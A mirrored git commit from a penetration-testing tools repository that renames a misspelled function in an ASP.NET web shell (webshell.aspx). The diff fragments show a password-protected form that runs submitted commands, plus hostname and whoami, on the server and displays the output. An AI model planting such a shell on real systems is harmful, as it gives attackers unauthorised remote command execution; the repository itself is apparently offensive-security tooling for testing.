mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-11-24 03:21:37 +01:00
Update webshell.aspx
This commit is contained in:
parent
8501c75007
commit
4167f799bc
@ -18,7 +18,7 @@
|
||||
CommandTextbox.Value = Request.Form["CommandTextbox"];
|
||||
}
|
||||
|
||||
string ExcuteCommand(string arg)
|
||||
string ExecuteCommand(string arg)
|
||||
{
|
||||
if (arg.Length >= 1)
|
||||
{
|
||||
@ -40,11 +40,11 @@
|
||||
{
|
||||
if (Request.Form["PasswordTextbox"] == Password)
|
||||
{
|
||||
string h = Server.HtmlEncode(ExcuteCommand("hostname")).Trim();
|
||||
string u = Server.HtmlEncode(ExcuteCommand("whoami")).Trim();
|
||||
string h = Server.HtmlEncode(ExecuteCommand("hostname")).Trim();
|
||||
string u = Server.HtmlEncode(ExecuteCommand("whoami")).Trim();
|
||||
|
||||
Hostname.Text = u + "@" + h;
|
||||
CommandOutput.InnerHtml = Server.HtmlEncode(ExcuteCommand(Request.Form["CommandTextbox"]));
|
||||
CommandOutput.InnerHtml = Server.HtmlEncode(ExecuteCommand(Request.Form["CommandTextbox"]));
|
||||
}
|
||||
else
|
||||
{
|
||||
|
Loading…
Reference in New Issue
Block a user